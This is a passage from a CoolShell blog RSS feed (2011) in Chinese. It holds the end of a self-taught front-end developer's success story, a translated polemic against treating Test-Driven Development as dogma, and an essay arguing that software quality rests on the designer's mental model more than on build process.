target=\"_blank\">@yanbin001</a>），我这个朋友当时在这个培训公司里做讲师，讲Java。</p>\n<p>没有计算机基础的王平学习Java的难度可想而之，非常地痛苦，所以，阎斌看到他懂点网页开发，就让他别学Java了，搞搞Web的前端网页开发。而且，我这个朋友阎斌是个创业狂，所以，经常拉着王平一起去和他做互联网上的产品，并让王平去研究一些别人做的网页，于是王平从此学会做了Web前端，并开始能独立开发一些前端网页，有了实实在在的锻炼，王平他开始真正会用html + css，还会一点点js。</p>\n<p>09年4月份的时候，王平在北京西四环找到了第一份像样的工作，是一家做保健品的小公司，需要做一个公司的网站，月薪3400元。这让他得以还清了欠银行的钱。他还和我开玩笑说，他和我做的都是电子商务。当然，这对于他来说他并不满足。而我那个创业狂的朋友阎斌，又叫他出来创业，可惜创业再次未果。他只好又回去打工。</p>\n<p>2010年4月份的时候，他到了12580做前端开发，月薪4000元左右。他说，12580的前端开发只有他一个人，今天12580的网页90%以上还是他写的，并且他还让给了我这个链接：<a href=\"http://12580.10086.cn/\" target=\"_blank\">http://12580.10086.cn/</a>。大家可以去看看，你能想得到这个网页是出自一个以前对电脑一窍不通在饭馆里做清洁的人之手吗？</p>\n<p>此时的王平，对Web前端开发已经是驾轻就熟，非常熟练，就连后端的工程师对他也非常佩服。 觉得他用CSS和JS用得直是相当的不错。当然，王平并不满意这份工作，在10年的11月份，他换到了现在的工作单位——百度和日本Rokuten的合资公司——<a href=\" http://www.rakuten.cn/\" target=\"_blank\">乐酷天</a>。还是老样子，他一个人负责所有的前端开发，不过这次的跳槽，他找到了一份相当不错的薪水。我对这份薪水的理解是——高级前端开发程序员。我引用我另外一个在微软和出过国并和王平一同工作过的朋友的话——“王平太猛了，CSS和JS用得巨熟无比，每次我们请他帮我们搞定一个网页效果，我们问他2天行不行，结果他2个小时就搞定了！”。</p>\n<p>好了，我的故事到这里要结束了，先让我们来看一看80后王平的样子吧。</p>\n<figure id=\"attachment_5652\" aria-describedby=\"caption-attachment-5652\" style=\"width: 585px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-5652 \" title=\"80后——王平\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/wpingsuper.jpg\" alt=\"\" width=\"585\" height=\"403\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/wpingsuper.jpg 650w, https://coolshell.cn/wp-content/uploads/2011/10/wpingsuper-300x207.jpg 300w, https://coolshell.cn/wp-content/uploads/2011/10/wpingsuper-392x270.jpg 392w\" sizes=\"(max-width: 585px) 100vw, 585px\" /><figcaption id=\"caption-attachment-5652\" class=\"wp-caption-text\">在享受工作的王平，个人博客 http://www.soboom.com</figcaption></figure>\n<p>我不知道你看完这个故事后是什么样的感受。我有两个感觉——</p>\n<ul>\n<li>乔布斯说Stay Hungry, Stay Foolish。今天，当我们所有的人都在仰望神一样的乔布斯的时候，在我们津津乐道那些浪潮之巅的人物时，在听过王平对我讲述他的经历过后，我只想说，其实，我们大多数人真的不懂什么是——Stay Hungry, Stay Foolish。包括我自己在内。</li>\n</ul>\n<ul>\n<li>王平让还让我想到了电影《命运规划局》里的最后一句话，大概是这样说的——“<strong>大多数人按照我们所安排的路线生活，害怕探索其它路线，但也会有一些人，他们并不满足于被设定的生活轨迹，冲破我们设置的重重阻碍，意识到自由意志是天赐之物的人，才明白只有在奋力抗争后才知道如何善用之</strong>。”</li>\n</ul>\n<p>（全文完）</p>\n<p><em><strong>————更新 2011/10/20 15:00————</strong></em></p>\n<p>有些人觉得这篇文章是给培训公司做广告或是炒作。有些人觉得几百元钱在北京生存并不可能。我可以理解你们的怀疑，但这些言论让我有些无语，我只希望你们能在做些调查后，再做这样的结论。<strong><span style=\"color: #cc0000;\">你可以看到，王平在第一个培训公司没有学到什么，在第二个培训公司也没有学到什么，而是在和我的朋友阎斌去尝试创业时才学到了很多。呼唤这些人的阅读智商啊</span></strong>。</p>\n<p>这个世界有时候并不是像我们所想像的那样，在北京，几百元一个月的人并不少，上大学也好，去培训公司也好，这都不重要，重要的是我们想改变自己的那种心态和积极。而我只希望王平的经历能给大家带来人生的一些感触。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5651.html\">Stay Hungry, Stay Foolish ！！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5651.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>177</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Test-Driven Development？别逗了</title>\n\t\t<link>https://coolshell.cn/articles/5531.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5531.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 17 Oct 2011 00:38:15 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[agile]]></category>\n\t\t<category><![CDATA[TDD]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5531</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这篇文章来源于Peter Sergeant在Write More Test 博客上的《Test-Driven Development? Give me a br...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5531.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5531.html\">Test-Driven Development？别逗了</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这篇文章来源于Peter Sergeant在<a href=\"http://www.writemoretests.com/\" target=\"_blank\">Write More Test</a> 博客上的《<a href=\"http://www.writemoretests.com/2011/09/test-driven-development-give-me-break.html\" target=\"_blank\">Test-Driven Development? Give me a break&#8230;</a>》，在原文和<a href=\"http://www.reddit.com/r/programming/comments/kq001/testdriven_development_youve_gotta_be_kidding_me/\">Reddit</a> 上有很大反响。这篇文章里的很多观点在《<a title=\"TDD并不是看上去的那么美\" href=\"https://coolshell.cn/articles/3649.html\" target=\"_blank\">TDD并不是看上去的那么美</a>》和《<a title=\"再谈敏捷和ThoughtWorks中国咨询师\" href=\"https://coolshell.cn/articles/3745.html\" target=\"_blank\">再谈敏捷和TW咨询师</a>》里都出现过（我个人觉得我的观点比其更全面一些）。就像我转的《<a title=\"为什么Scrum不行？\" href=\"https://coolshell.cn/articles/5044.html\" target=\"_blank\">Scrum为什么不行</a>》 和《<a title=\"Bob大叔和Jim Coplien对TDD的论战\" href=\"https://coolshell.cn/articles/4891.html\" target=\"_blank\">Bob大叔和Jim Coplien对TDD的论战</a>》一样，从这些贴子我们可以看到——<strong>这是一个全世界的问题，并不是只有在中国才有的问题</strong>。</p>\n<p><strong>很多敏粉都在说我在是喷敏捷，黑敏捷，向敏捷泼脏水，我只想对这些人说——</strong><span style=\"color: #cc0000;\">你们这样的见解很肤浅也很敏感，你们根本就没有认识到——争论，反思和不同观点的意义，你也就无法了解你们所信仰的敏捷！你们只是在肤浅和盲目地信仰和教条敏捷中的许多名词、方法和标准答案罢了</span>。</p>\n<p style=\"text-align: center;\">——————————————正文开始——————————————</p>\n<p>对于程序员来说有些事有非常危险的信号（red flag）。当我听到有人开始信仰Test-Driven Development 是 One True Programming Methodology（唯一正确的编程方法论），这就是危险信号（red flag），我开始假设你是一个劣等、没有经验的程序员，或是某些敏捷咨询师。</p>\n<p>测试只是一个工具来<strong>帮助你</strong>，而不是用来证明谁比谁更虔诚，或是我的屌比你的要大，等这种愚蠢的行为。测试是用来让<strong>程序员</strong>得到有帮助的、更快的反馈，从而找到正确的路径，如果你搞坏一些事，其还可以用来给后人一些警告。这根本就不是一个神秘的有魔力的方法其可以让你的代码变得更好……</p>\n<p>整个Test-Driven Development的概念是麻痹和信奉，从而让其成为你的人生观。相反的：Developer-Driven Testing，它给你和你的同事一些有用的工具来解决问题，来支持你自己，而不是那种以工具或方法为中心的让你假设其应该是那样的测试。</p>\n<p><span id=\"more-5531\"></span></p>\n<p>是不是在有些时候我们需要在写代码前写测试？当然是，比如，“修改已有的功能”，这会一个适用的场景，还有那些短小的和已定义完善的事物，或是对已被测试过的代码做一些改善。</p>\n<p>但， 是不是你就应该需要<strong>总是</strong>要去先写测试？省省吧，别逗了。</p>\n<p>这是极度白痴的行为，尤其是在设计，调查和开发的初期。让你的测试来接管你的代码（而不是影响那个模块的代码）和接管你的设计 这是一个巨大的失败，就是因为你写的那些测试范围太大太不靠谱。（陈皓注：我在《<a title=\"TDD并不是看上去的那么美\" href=\"https://coolshell.cn/articles/3649.html\" target=\"_blank\">TDD并不是看上去的那么美</a>》一文中说过测试案例的测试范围的问题，敏捷社区除了对我进行人身攻击外从未对此做过正面回答。）</p>\n<p>在写代码前写测试案例在一些场景下的确很不错。然后，Test Driven Development，被敏捷专家或是其它各种五花八门的江湖骗子像神给凡人宣扬一样，这就是欺骗大众。</p>\n<p>行动在想法之下，于是测试必需先行（所有我已看到的，所有我正在看到的都表明这是TDD的中心思想—— 你写了测试，然后你再写代码并通过测试），于是测试成为了最有用的活动并可以帮助程序员。这是错的。</p>\n<p>就算你在一开始要写一些测试案例，但只要你想让这些测试案例更有意义，那么，你要么得让这些测试案例的测试范围更小更底层更精确，要么你就得在整个软件快要写完的时候再去写测试，要不然你就得欺骗或是篡改测试案例。在为数不多的情形下，前者是正确的——测试围绕于bug，或是小的，定义地很好的功能碎片（陈皓注：我个人理解为单元测试是目前最有效的））</p>\n<p>把测试变成整个活动的中心因为其对程序员有用？真牛逼。老实说，控制程序员的工作流程只可能得出一条无比正确的答案——荒谬可笑。</p>\n<p>测试帮助程序员，是因为其可以帮程序员组织自动化测试，所以才帮了程序员，而不是cargo-cult（<a href=\"http://zh.wikipedia.org/zh/%E8%88%B9%E8%B2%A8%E5%B4%87%E6%8B%9C\" target=\"_blank\">货物崇拜</a>，参看《<a title=\"各种流行的编程风格\" href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\">各种流行的编程方法</a>》中的cargo-cult编程）——信仰一种工作流程并让所有的人或事来适应于他。</p>\n<p>先写测试这种方法只会在“Developer Driven Testing”（程序员自己驱动的测试）下可行——关注于选取一个正确的方法让程序员更有生产力。生成一堆测试的规则并说这是唯一的真理是不正确的。</p>\n<p><strong>一些讨论和想法（在此贴发出数小时后）&#8230;</strong></p>\n<p>当我这篇博文发出几个小时后，其被转到了别的地方并引发了一些讨论。</p>\n<p>在 <a href=\"http://news.ycombinator.com/item?id=3033129\" target=\"_blank\">Hacker News</a> 上，有人说我提出了很多很不错的问题，并且那是真正的有理有据的观点。我在用用户名叫<em>peteretep </em>的回复了一些。</p>\n<p>在 <a href=\"http://www.reddit.com/r/programming/comments/kq001/testdriven_development_youve_gotta_be_kidding_me/\">Reddit</a> 上的争论更多更强。那里有很多的人觉得需要写自动化测试。并且这篇博文被大家演变成拥护测试和可实践的建议，我觉得我是误传达了我的想法，我觉得软件测试是非常重要的，而不是根据哪个方法论进行的教条主义！</p>\n<p style=\"text-align: center;\">——————————————正文结束——————————————</p>\n<p>我在Reddit上看到了下面的事，我也作些评论。</p>\n<ul>\n<li>大家在讨论很多很多的技术细节，比如如何测试私有方法，如何测试inner class，甚至还有代码。我太喜欢了，这才是真正的讨论，而不是像酷壳这边那些敏粉们说人而不说事的讨论，<strong>那些所谓的敏捷咨询师的话里连一点技术细节都没有</strong>。</li>\n</ul>\n<ul>\n<li>并且也有人说TDD可以让你去Design，但随后就有人说，正真的Design就是Design，而不是hack 测试来强行让你Design。后面有了附和到——有<strong>很多思想意识想用流程来代替思考，软件开发就是需要在某中上下文下去思考，而不是使用某种机制来让你思考</strong> 。</li>\n</ul>\n<ul>\n<li>我看了两极分化的大量的争论，这是我最喜欢看到事。世界就是因为有不同的观点而美好。<strong>有反对才有争论，有争论才有思考，这才是进步的源泉，而不是统一认识，形成标准</strong>。而对于那些党同伐异的，一听到有反对声就激动就要打压的敏粉来说，我只能认为他们的人生观世界观扭曲得就像朝鲜那样。</li>\n</ul>\n<div>（全文完）</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/fight-150x150.jpg\" alt=\"“单元测试要做多细？”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_title\">“单元测试要做多细？”</a></li><li ><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"在新浪微博上关于敏捷的一些讨论\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_title\">在新浪微博上关于敏捷的一些讨论</a></li><li ><a href=\"https://coolshell.cn/articles/4891.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"Bob大叔和Jim Coplien对TDD的论战\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4891.html\" class=\"wp_rp_title\">Bob大叔和Jim Coplien对TDD的论战</a></li><li ><a href=\"https://coolshell.cn/articles/3778.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"敏捷水管工\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3778.html\" class=\"wp_rp_title\">敏捷水管工</a></li><li ><a href=\"https://coolshell.cn/articles/3745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"再谈敏捷和ThoughtWorks中国咨询师\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3745.html\" class=\"wp_rp_title\">再谈敏捷和ThoughtWorks中国咨询师</a></li><li ><a href=\"https://coolshell.cn/articles/3766.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/feedback_cycle-150x150.jpg\" alt=\"[转]TDD到底美还是不美？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3766.html\" class=\"wp_rp_title\">[转]TDD到底美还是不美？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5531.html\">Test-Driven Development？别逗了</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5531.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>52</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>“品质在于构建过程”吗？</title>\n\t\t<link>https://coolshell.cn/articles/5625.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5625.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Todd]]></dc:creator>\n\t\t<pubDate>Sun, 16 Oct 2011 05:16:55 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[agile]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5625</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>感谢@weidagang （Todd）向酷壳投递的这篇精彩的文章。原文 今天在微博上看到几位敏捷爱好者探讨敏捷测试和质量保证问题，我忍不住也加入了讨论： Z先生...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5625.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5625.html\">“品质在于构建过程”吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>感谢<a href=\"http://weibo.com/n/weidagang\">@weidagang</a> （Todd）向酷壳投递的这篇精彩的文章。<a href=\"http://www.cnblogs.com/weidagang2046/archive/2011/10/15/2213672.html\" target=\"_blank\">原文</a></strong></p>\n<p>今天在微博上看到几位敏捷爱好者探讨敏捷测试和质量保证问题，我忍不住也加入了讨论：</p>\n<blockquote><p><span style=\"color: #800040;\"><strong>Z先生原帖：</strong>我刚才看到一个大会演讲稿，谈到敏捷测试六大指导原则：1.仅靠测试人员不可能获得高质量的软件，质量是整个研发团队的责任；2. 场景是不可穷举的，测试活动必须是风险驱动的，关注于高风险的场景；3.分层自动化测试是唯一出路;4.在正确的位置进行恰当的测试是自动化的关键；【待续】</span></p>\n<p><span style=\"color: #800040;\"><strong>S先生回复：</strong>品质在于构建过程。检验贯穿构建过程，提供及时反馈。</span></p>\n<p><span style=\"color: #800040;\"><strong>我回复：</strong>什么样的构建过程才能出Unix这样的品质呢？迭代？快速反馈？TDD?</span></p>\n<p><span style=\"color: #800040;\"><strong>S先生回复：</strong>据说stroustrup听到重构时的反应是，我们从七十年代就这样做了。推荐《UNIX编程环境》，了解大师的编程方式。</span></p>\n<p><span style=\"color: #800040;\"><strong>我回复：</strong>您偷换了概念。不能说大师用了重构，C++和UNIX的品质就是靠重构或某种构建过程得来的。厨师做菜用到了勺子，不等于菜好吃是因为勺子。</span></p>\n<p><span style=\"color: #800040;\"><strong>S先生回复：</strong>我没有概念。我们看到一个果，就问因是什么。其实是泛因果，无因果，一切是机缘凑巧。</span></p>\n<p><span style=\"color: #800040;\"><strong>我回复：</strong>“品质在于构建过程”难道不是一个明白的因果描述吗？</span></p>\n<p><span style=\"color: #800040;\"><strong>S先生回复：</strong>品质在于构建的人。我说话时没因果，你看到了因果。</span></p>\n<p><span style=\"color: #800040;\"><strong>我回复：</strong>欢迎敏捷爱好者围观！</span></p></blockquote>\n<p>很高兴几个回合讨论下来S先生修正了先前“品质在于构建过程”的观点。什么重构、TDD、迭代、快速反馈等等构建过程都不是Unix品质的核心要素。我不但不认同“品质在于构建过程”、“测试是最好的设计方法”这类机械式的观点，而且也不满意把软件优劣归结于“人是根本”的简单回答。我们需要探索一个既非机械式，也非简单地归结为某种理念的答案。</p>\n<p><span id=\"more-5625\"></span></p>\n<p>像Unix这样优秀的软件，真正的核心要素到底是什么呢？我的答案是：模型，即人心中的软件。在看得见、摸得着之前，Unix的品质就已经存在于设计者的心中了，他们不会在Unix诞生后惊讶：“哇，Unix的稳定性这么好，7&#215;24小时运行，从来不蓝屏”。模型一定是设计者心中最美的东西，为什么我们阅读操作系统源代码会像进入迷宫一般理不清头绪，而作者自己却觉得头头是道呢？因为作者早已“胸有成竹”，我们以为他几十万行代码敲很辛苦，实际上在他自己看来是按部就班一步步向目标靠近。</p>\n<p>模型是软件的灵魂，存在于设计者的心中，而软件的构建过程正是心中的世界向现实世界逐渐投影。模型可以是完美的，而现实却非完美，或许有时候我们很幸运地到达了，或许有时候我们不得不向现实妥协，改变心中的世界。试图制造灯泡的爱迪生可能会一时找不到熔点极高的发光金属而止步不前，企图制造永动机的人则根本无法实现。在不完美的现实中，我们明明想的是a+b，却敲成了a-b；我们以为某个API可以很快返回，没想到却等了5秒钟，为了不阻塞用户不得不改成了异步。Review、测试等构建过程在一定程度上弥补了现实的不完美，并对模型给予了反馈，但它却无法决定软件的特质。如果设计者心中没有Unix，即使每个实现环节都层层检验，拥有光速般的反馈，他有怎么能构建出Unix呢？Windows NT内核和Windows 3.1内核的品质差别不在于微软采用了两种不同的构建过程，而在于它们采用了不同的内核模型。灵魂与躯体的差别就在于此！虽然对于普通的软件开发通常有不少成熟的模型供选择，并不需要总是创造自己的模型，但理解模型间的差异，并在设计时选用恰当的模型仍然比采用某种构建过程更加重要。服务器架构采用Nginx似的异步IO模型，还是采用Apache似的每个请求一个线程的模型远比开发是否采用了TDD更为重要。</p>\n<p>模型的产生是柔性的，主要源于灵感；过程的执行是刚性的，主要源于逻辑。苹果砸在牛顿的脑袋上能砸出万有引力模型，砸在我们脑袋上却只是“哎呦”一声；但一个苹果3元钱，两个苹果2*3=6元钱却在牛顿和我们面前是平等的。迷信灵感和迷信逻辑是两个错误的极端，孔子讲“天下国家可均也，爵禄可辞也，白刃可蹈也，中庸不可能也”，任何一项技能的高级阶段都是关于“度”的艺术。如同光具有波粒二象性，软件开发也具有艺术创作和工业生产的二象性，它包含了柔性的设计和刚性的过程。越是不成熟的前沿领域越表现出柔性特征；越是成熟的一般领域越表现出工业生产的特征。因此，一个以新产品为主的创业型公司应当更注重设计，更需要画家、诗人般的创造型人才；而业务成熟产品稳定的大公司应当更注重过程，更需要踏踏实实的生产线工人似的人才。但在当今这个瞬息万变的信息时代，即使是世界500强的大公司也越来越不稳定，越来越需要创新才能适应，所以即使大公司也不可忽视软件开发的柔性特征。同时，我们也不能迷信模型，过程同样可以成为企业的核心竞争力，比如：富士康。虚虚实实，实实虚虚，其妙无穷。老外做Nike品牌（虚），我们做代工生产（实），高额利润被老外拿走了；我们经营航空公司（虚），老外生产波音飞机（实）高价卖给我们，高额利润又被老外拿走了。靠虚取胜还是靠实取胜？这是个问题^_^</p>\n<p>或许我对于模型柔性的描述不太让人满意，人们多习惯于有章可循的感觉，即便不是死板的知识，起码要找个“在某某思想的指导下”才觉得心里有着落。或许还有人说，模型的确重要，那么我们能不能有一个过程、模式或套路来推导出模型呢？比如，现在非常流行的从用户需求出发的分析模式，即“分析需求，抽象出共性，共性是本质的，本质是稳定的”，这类模式的特点符合人们希望找到套路的心理，一看就明白，容易操作，有成就感。我不否认这类模式的确可以得出可用的软件设计，沿用成熟的模型也未尝不可。但我们应该明白，心中的世界远比现实的世界更广大更美妙。世界是多元的，用户需求、成熟模型等直接可见的东西只代表了某几个维度的视图，设计者心中应当有更多的维度！用户需要一个文本编辑器，是设计者心中的世界决定了他交出的作品是Vi，还是Emacs，亦或是Notepad。亨利·福特说：“如果你问用户需要什么，他会告诉你一匹更快的马”。汽车源于福特心中的世界，这是一个比只有马的世界更多彩的世界。乔布斯是一个不重视市场调研的人，iPod，iPhone，iPad都不是发个问卷，做个市场调查看看用户需要什么的结果。Apple是乔布斯心中的世界在现实中的投影！所以，请打破“从用户需求出发”，“从模式出发”的迷信，释放你的想象力，让自己心中的世界去包容现实的世界吧！</p>\n<p>每个人心中都有一个属于自己的世界，牛顿运动定律是牛顿心中的世界，相对论是爱因斯坦心中的世界。哪一个才是本来的世界呢？有没有本来的世界呢？本来的世界是什么样子呢？… 老子给我们启示“道可道，非常道”，说得清，道得明，想得到的都不是永恒的真理，所以真理不可言说，对真理的探索永远没有止境……<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/fight-150x150.jpg\" alt=\"“单元测试要做多细？”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_title\">“单元测试要做多细？”</a></li><li ><a href=\"https://coolshell.cn/articles/7657.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/hudsonCI2-150x150.jpg\" alt=\"持续部署，并不简单！\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7657.html\" class=\"wp_rp_title\">持续部署，并不简单！</a></li><li ><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"Test-Driven Development？别逗了\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_title\">Test-Driven Development？别逗了</a></li><li ><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"在新浪微博上关于敏捷的一些讨论\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_title\">在新浪微博上关于敏捷的一些讨论</a></li><li ><a href=\"https://coolshell.cn/articles/5044.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/hat-150x150.jpeg\" alt=\"为什么Scrum不行？\" width=\"150\" height=\"150\" /></a><a 